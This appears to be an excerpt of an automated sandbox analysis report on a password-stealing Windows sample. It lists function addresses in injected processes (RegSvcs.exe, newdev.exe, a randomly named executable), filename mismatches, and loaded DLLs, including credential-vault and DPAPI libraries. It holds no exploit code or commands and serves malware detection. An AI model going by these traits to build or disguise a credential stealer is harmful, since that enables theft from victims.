Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EC7C0 3_2_011EC7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120C6E0 3_2_0120C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01206962 3_2_01206962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012BA9A6 3_2_012BA9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F29A0 3_2_011F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F2840 3_2_011F2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011FA840 3_2_011FA840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011D68B8 3_2_011D68B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121E8F0 3_2_0121E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AAB40 3_2_012AAB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A6BD7 3_2_012A6BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EEA80 3_2_011EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011FAD00 3_2_011FAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128CD1F 3_2_0128CD1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01208DBF 3_2_01208DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EADE0 3_2_011EADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0C00 3_2_011F0C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01290CB5 3_2_01290CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E0CF2 3_2_011E0CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01232F28 3_2_01232F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01210F30 3_2_01210F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01292F30 3_2_01292F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01264F40 3_2_01264F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126EFA0 3_2_0126EFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E2FC8 3_2_011E2FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011FCFE0 3_2_011FCFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AEE26 3_2_012AEE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0E59 3_2_011F0E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01202E90 3_2_01202E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012ACE93 3_2_012ACE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AEEDB 3_2_012AEEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012BB16B 3_2_012BB16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0122516C 3_2_0122516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DF172 3_2_011DF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011FB1B0 3_2_011FB1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A70E9 3_2_012A70E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AF0E0 3_2_012AF0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F70C0 3_2_011F70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0129F0CC 3_2_0129F0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A132D 3_2_012A132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DD34C 3_2_011DD34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0123739A 3_2_0123739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F52A0 3_2_011F52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012912ED 3_2_012912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120B2C0 3_2_0120B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A7571 3_2_012A7571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128D5B0 3_2_0128D5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B95C3 3_2_012B95C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AF43F 3_2_012AF43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E1460 3_2_011E1460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AF7B0 3_2_012AF7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01235630 3_2_01235630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A16CC 3_2_012A16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01285910 3_2_01285910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F9950 3_2_011F9950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120B950 3_2_0120B950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125D800 3_2_0125D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F38E0 3_2_011F38E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AFB76 3_2_012AFB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120FB80 3_2_0120FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01265BF0 3_2_01265BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0122DBF9 3_2_0122DBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01263A6C 3_2_01263A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AFA49 3_2_012AFA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A7A46 3_2_012A7A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01235AA0 3_2_01235AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128DAAC 3_2_0128DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01291AA3 3_2_01291AA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0129DAC6 3_2_0129DAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A7D73 3_2_012A7D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F3D40 3_2_011F3D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A1D5A 3_2_012A1D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120FDC0 3_2_0120FDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01269C32 3_2_01269C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AFCF2 3_2_012AFCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AFF09 3_2_012AFF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F1F92 3_2_011F1F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AFFB1 3_2_012AFFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011B3FD2 3_2_011B3FD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011B3FD5 3_2_011B3FD5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F9EB0 3_2_011F9EB0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049FE4F6 5_2_049FE4F6
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049F4420 5_2_049F4420
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A02446 5_2_04A02446
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A10591 5_2_04A10591
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04950535 5_2_04950535
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0496C6E0 5_2_0496C6E0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0494C7C0 5_2_0494C7C0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04974750 5_2_04974750
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04950770 5_2_04950770
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049E2000 5_2_049E2000
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A041A2 5_2_04A041A2
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A101AA 5_2_04A101AA
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A081CC 5_2_04A081CC
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049EA118 5_2_049EA118
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04940100 5_2_04940100
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049D8158 5_2_049D8158
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049D02C0 5_2_049D02C0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049F0274 5_2_049F0274
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A103E6 5_2_04A103E6
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0495E3F0 5_2_0495E3F0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A0A352 5_2_04A0A352
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049F0CB5 5_2_049F0CB5
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04940CF2 5_2_04940CF2
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04950C00 5_2_04950C00
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04968DBF 5_2_04968DBF
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0494ADE0 5_2_0494ADE0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049ECD1F 5_2_049ECD1F
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0495AD00 5_2_0495AD00
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04962E90 5_2_04962E90
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A0CE93 5_2_04A0CE93
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A0EEDB 5_2_04A0EEDB
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A0EE26 5_2_04A0EE26
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04950E59 5_2_04950E59
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049CEFA0 5_2_049CEFA0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04942FC8 5_2_04942FC8
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0495CFE0 5_2_0495CFE0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04970F30 5_2_04970F30
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049F2F30 5_2_049F2F30
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04992F28 5_2_04992F28
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049C4F40 5_2_049C4F40
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049368B8 5_2_049368B8
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0497E8F0 5_2_0497E8F0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04952840 5_2_04952840
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0495A840 5_2_0495A840
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A1A9A6 5_2_04A1A9A6
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049529A0 5_2_049529A0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04966962 5_2_04966962
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0494EA80 5_2_0494EA80
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A06BD7 5_2_04A06BD7
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A0AB40 5_2_04A0AB40
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A0F43F 5_2_04A0F43F
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04941460 5_2_04941460
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049ED5B0 5_2_049ED5B0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A195C3 5_2_04A195C3
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A07571 5_2_04A07571
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A016CC 5_2_04A016CC
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04995630 5_2_04995630
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A0F7B0 5_2_04A0F7B0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A0F0E0 5_2_04A0F0E0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A070E9 5_2_04A070E9
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049FF0CC 5_2_049FF0CC
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049570C0 5_2_049570C0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0495B1B0 5_2_0495B1B0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A1B16B 5_2_04A1B16B
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0493F172 5_2_0493F172
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0498516C 5_2_0498516C
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049552A0 5_2_049552A0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0496B2C0 5_2_0496B2C0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049F12ED 5_2_049F12ED
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0499739A 5_2_0499739A
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A0132D 5_2_04A0132D
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0493D34C 5_2_0493D34C
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A0FCF2 5_2_04A0FCF2
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049C9C32 5_2_049C9C32
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0496FDC0 5_2_0496FDC0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A07D73 5_2_04A07D73
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04953D40 5_2_04953D40
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A01D5A 5_2_04A01D5A
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04959EB0 5_2_04959EB0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04951F92 5_2_04951F92
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A0FFB1 5_2_04A0FFB1
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04913FD2 5_2_04913FD2
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04913FD5 5_2_04913FD5
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A0FF09 5_2_04A0FF09
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049538E0 5_2_049538E0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049BD800 5_2_049BD800
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049E5910 5_2_049E5910
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04959950 5_2_04959950
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0496B950 5_2_0496B950
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049EDAAC 5_2_049EDAAC
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04995AA0 5_2_04995AA0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049F1AA3 5_2_049F1AA3
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049FDAC6 5_2_049FDAC6
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A07A46 5_2_04A07A46
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A0FA49 5_2_04A0FA49
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049C3A6C 5_2_049C3A6C
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0496FB80 5_2_0496FB80
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0498DBF9 5_2_0498DBF9
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_049C5BF0 5_2_049C5BF0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_04A0FB76 5_2_04A0FB76
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_00732E50 5_2_00732E50
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0072E060 5_2_0072E060
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0072C0E0 5_2_0072C0E0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0072C224 5_2_0072C224
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_007345A0 5_2_007345A0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0074A9C0 5_2_0074A9C0
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0072DE40 5_2_0072DE40
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0072DE37 5_2_0072DE37
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 6_2_05572E0E 6_2_05572E0E
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 6_2_055716BE 6_2_055716BE
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 6_2_0556C6A5 6_2_0556C6A5
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 6_2_0556C6AE 6_2_0556C6AE
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 6_2_0556A94E 6_2_0556A94E
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 6_2_0556C8CE 6_2_0556C8CE
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 6_2_0558922E 6_2_0558922E
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 6_2_0556AA92 6_2_0556AA92
Found potential string decryption / allocating functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 011DB970 appears 280 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 01237E54 appears 111 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 01225130 appears 58 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 0125EA12 appears 86 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 0126F290 appears 105 times
Source: C:\Windows\SysWOW64\newdev.exe Code function: String function: 0493B970 appears 280 times
Source: C:\Windows\SysWOW64\newdev.exe Code function: String function: 04997E54 appears 111 times
Source: C:\Windows\SysWOW64\newdev.exe Code function: String function: 049BEA12 appears 86 times
Source: C:\Windows\SysWOW64\newdev.exe Code function: String function: 049CF290 appears 105 times
Source: C:\Windows\SysWOW64\newdev.exe Code function: String function: 04985130 appears 58 times
Sample file is different than original file name gathered from version info
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe, 00000001.00000002.2096701607.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe, 00000001.00000002.2099529714.0000000003AAD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameTyrone.dll8 vs SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe, 00000001.00000002.2102220877.00000000070E0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameTyrone.dll8 vs SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Binary or memory string: OriginalFilenameKeTS.exeD vs SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe
Tries to load missing DLLs
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\newdev.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Section loaded: mswsock.dll Jump to behavior
